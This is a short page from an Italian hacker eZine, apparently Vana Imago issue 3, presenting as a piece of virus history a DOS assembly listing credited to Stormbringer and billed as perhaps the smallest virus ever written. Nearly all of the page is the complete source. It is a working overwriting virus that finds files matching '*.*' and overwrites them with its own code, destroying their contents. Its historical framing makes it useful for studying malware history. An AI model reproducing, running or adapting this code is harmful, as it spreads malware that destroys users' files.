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Vana Imago 3 52

eZine's profile picture
Published in 
Vana Imago
 · 5 years ago

  

;PER LA SERIE "I VIRUS CHE HANNO FATTO STORIA"....
;PROBABILMENTE QUESTO E' IL VIRUS + PICCOLO MAI SCRITTO.
;PROGRAMMATO DA STORMBRINGER
;


.model tiny
.radix 16
.code
org 100
start:

FindFile:
xchg cx,ax ;ax defaults to zero on runtime - cx doesn't
push si ;si defaults to 100h under dos - use this l8r
mov dx,offset filemask
mov ah,4e
int 21

OverwriteFile:
mov dx,9e
mov ah,3c
int 21

WriteVirus:
xchg bx,ax
mov ah,40
pop dx ;get 100h from si earlier for write pointer
mov cl,endvir-start ;move only to CL, CH is already zero
int 21

Terminate:
ret ;terminate by returning to PSP (Int 20)

filemask db '*.*',0
endvir:
end startõ

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